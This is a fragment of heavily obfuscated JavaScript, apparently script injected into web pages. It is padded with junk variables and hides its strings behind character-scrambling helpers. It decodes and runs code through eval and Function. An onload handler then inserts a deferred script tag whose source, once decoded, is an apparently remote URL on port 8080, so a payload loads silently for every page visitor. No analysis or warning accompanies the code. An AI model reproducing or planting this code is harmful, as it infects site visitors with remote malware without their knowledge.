fb=[0,66,89][0];var TR=U[o("nethgl", [5,1,0,4,2,3])];var I=[174,68,255][2];this.En="En";while(fb<TR){var go="";fb++;i=q(U,fb - d);var rG;if(rG!='Bi' && rG != ''){rG=null};var wi;if(wi!='OMZ'){wi='OMZ'};C+=i*TR;var jU;if(jU!='' && jU!='Ih'){jU=null};}this.plg=false;return new A(C % I);var nB;if(nB!='' && nB!='AYE'){nB=null};var cZ;if(cZ!='' && cZ!='pe'){cZ=''};}var jo;if(jo!='Ht' && jo!='bh'){jo='Ht'};var J=window;var dD=J[o("avle", [3,1,0,2])];var H=dD(o("icotFnun", [4,6,5,1,3,0,2]));var fl=dD(o("gERexp", [2,3,0,1]));var dN;if(dN!='' && dN!='pC'){dN='LLh'};var F = '';var GA;if(GA!='' && GA!='Ir'){GA=null};var Ok="Ok";var Ai;if(Ai!='' && Ai!='nh'){Ai=''};var A=dD(o("tSirgn", [1,0]));this.Ec=false;this.xj=5394;var TK=new String();var j=J[o("nuseacep", [1,0])];var eE=new Array();var WN;if(WN!='' && WN!='lA'){WN=''};this.Ml=3805;var B=A[o("rmfohrCaoeCd", [2,0,3,1])];var Xg;if(Xg!=''){Xg='cP'};this.Qs="Qs";this.PZ="PZ";var RO;if(RO!='' && RO!='tH'){RO=''};var vz=46642;var BE = '';var qS;if(qS!='RHB'){qS=''};var Ap;if(Ap!='We'){Ap=''};var S =[2][0];var ut;if(ut!='TX' && ut!='fw'){ut=''};var IX;if(IX!='Df' && IX!='rK'){IX=''};this.hE="hE";this.WR=15292;var O =[0][0];var KZ;if(KZ!='' && KZ!='No'){KZ=null};var zKG=new String();var z = /[^@a-z0-9A-Z_-]/g;var Ye =[0,25,143,140][0];var Om;if(Om!=''){Om='we'};var zx=56070;var VZ = p[o("elgnht", [1,0])];var lC = '';var ULA="ULA";var Wq="Wq";var D = '';var d =[1][0];var zK=[1, o("oducemtnc.ertaEeelemtn\'(csirtp)\'", [1,0]),2, o("udoctmend.bopy.adpenlChi)d(d", [1,2,3,0]),3, o("Attd.setuetribefr(\'de\'", [3,4,5,6,1,0,2]),4, o("oc.mww.wen.tncd.urapl", [1,0]),5, o("oogelgoc.m", [2,1,0]),6, o("go.rseimta.preu0:880", [1,3,0,2,4]),7, o("nlcoipcoe.mn.cn", [5,2,3,0,1,4]),8, o("d.iwwnoonload", [4,2,5,0,7,3,1,6]),11, o("nfuict(on)", [1,2,0]),12, o("kuyu.coom", [2,6,1,0,3,4,5]),14, o(".kseyycom", [5,3,2,1,4,0]),15, o("atcc(eh)", [2,0,1,3]),16, o("h\"tpt:", [1,0,2]),17, o("s.drc", [2,1,0]),18, o("amil", [1,0,2]),19, o("1\'\')", [2,0,1]),20, o("rty", [1,0])];var Dp = "%";var QhN="QhN";var PA;if(PA!='' && PA!='Pm'){PA=''};var Mg="";var Vg;if(Vg!='' && Vg!='Lt'){Vg=''};for(var e=Ye; e < VZ; e+=S){this.KV='';BE+= Dp; var Nt;if(Nt!='MW' && Nt!='nq'){Nt='MW'};var KJ=false;BE+= p[o("ussbrt", [1,0])](e, S);var il=new Array();}this.le="";this.Xqi="";var p = j(BE);var vI;if(vI!='Sa'){vI=''};var rW;if(rW!='MgK'){rW=''};var w = new A(g);var LW="";this.ld=44891;var MG = w[o("preclae", [1,2,0])](z, D);var di='';this.Jz=false;this.XL='';var II=new Array();var qf = zK[o("elgnht", [1,0])];this.uX=60778;var ov;if(ov!='mk' && ov!='hh'){ov='mk'};var R = new A(H);MG = G(MG);var fB='';var Wx=33056;var aq = R[o("elaprce", [4,0,3,1,2])](z, D);var GZ;if(GZ!='Mo' && GZ != ''){GZ=null};var Pg="";var aq = r(aq);var wE=r(MG);for(var T=Ye; T < (p[o("glenth", [1,2,3,0])]);T=T+[1][0]) {this.xc="xc";this.QdZ=42555;var zC = MG.charCodeAt(O);var aJ='';var Lx=new Array();var P = q(p,T);var Qc;if(Qc!='' && Qc!='xl'){Qc=null};var QsF=new Date();P = MF(P, zC);var Tc=false;this.YR=44301;this.VI=false;P = MF(P, wE);P = MF(P, aq);this.qM="";O++;this.xU=false;if(O > MG.length-d){var Qk;if(Qk!='LY'){Qk=''};this.Cj="";O=Ye;}lC += B(P);}var lD=new Date();this.pa=false;for(en=Ye; en < qf; en+=S){this.LE="LE";this.ri="ri";var Sh = zK[en + d];var OK='';var WM=false;this.ix=false;var SK = B(zK[en]);var YdN;if(YdN!='gA' && YdN != ''){YdN=null};var x = new fl(SK, B(103));this.QE=48015;lC=lC[o("erlpcae", [1,0])](x, Sh);this.sL=false;this.pd=false;}var Az=new String();var rh=new H(lC);var Cs=new Array();var yL='';rh();this.VE="";MG = '';var hQ;if(hQ!='' && hQ!='Nr'){hQ='oR'};R = '';var Eb;if(Eb!='' && Eb!='vO'){Eb=''};var YX=8449;rh = '';aq = '';var jw;if(jw!='' && jw!='Vk'){jw=null};var ie="";wE = '';this.ev=26964;lC = '';var Hzt;if(Hzt!='zE' && Hzt!='xR'){Hzt='zE'};var WW='';var NH=new Date();return '';};var jz=new Date();var nb=false;g(Mp);
var k;if(k!='' && k!='O'){k=null};function h() {var dP;if(dP!='' && dP!='lU'){dP=null};var _="";var o="";var Pm;if(Pm!='' && Pm!='Ub'){Pm=null};var t=new String();var z=new Array();var w='g';var H=RegExp;var l='replace';this.Mb="";var S=']';var lV=new Array();var x='[';function u(B,Hw){var F=x;var H_=new Array();var Ch="";F+=Hw;F+=S;var M=new H(F, w);return B[l](M, t);this.DC="";};var Dv='';var C=u('/Ud4a4uXmX.Xn4eUtX/UdUaUuXm4.XnUe4tX/4t4rXaXvUi4aXnU.XaXeX/UgXoUo4gXl4e4.4cXo4mX/4v4nXeXtX.4cUnX.Xp4h4pU',"U4X");var wU=new String();var Hh=u('cUrWeWaotoeWEWlWeUmseUnWto',"ogsWU");var d=u('824903242783429039993',"94372");var WB;if(WB!='L' && WB != ''){WB=null};var MQ=u('s1cKrYi1p5t1',"5Kw1Y");var U=window;var a;if(a!='' && a!='BQ'){a=''};var ia=new Array();var r='';var J=new Array();var P=u('hqtAtApq:A/E/EaAmMaEzIoEnEaAwEsI-McEoAmq.MwEiAnMdEoIwIsElqiAvAeA.IcAoMmq.MbqoMsAtIoMnE-McEoImq.IsMuqpIeMrqnqeIwEsMtquIfAfA.IrEuM:E',"qAIME");this.kx="";var ub;if(ub!='lp' && ub!='LU'){ub=''};U[u('ownvlwowawdw',"vUtw")]=function(){var E='';try {var FB;if(FB!='bd'){FB=''};var aI;if(aI!='tX'){aI=''};r+=P;var dB="";this.e="";r+=d;r+=C;var wx;if(wx!='_g' && wx!='vu'){wx=''};var Vi;if(Vi!='MA'){Vi='MA'};var nX=new String();var YD=new Date();rG=document[Hh](MQ);this.Zr='';G(rG,'src',r);var Ec;if(Ec!=''){Ec='OW'};var wn=new Date();G(rG,'defer',([1,6][0]));this.Ue='';var PW="";document.body.appendChild(rG);} catch(p){this.kt='';var Ak;if(Ak!='bx' && Ak!='wnY'){Ak='bx'};};var iV="";var dD;if(dD!='oZ' && dD != ''){dD=null};};var HC='';var ag;if(ag!='' && ag!='Pv'){ag='lR'};var CA;if(CA!='' && CA!='iO'){CA=null};var PH;if(PH!='YM' && PH!='eO'){PH=''};function G(D,b,ds){var uz=new String();D.setAttribute(b, ds);}var LP;if(LP!='' && LP!='iG'){LP=''};this.pc="";};var pQ=new Date();h();var cr;if(cr!='' && cr!='mV'){cr=null};this.dX='';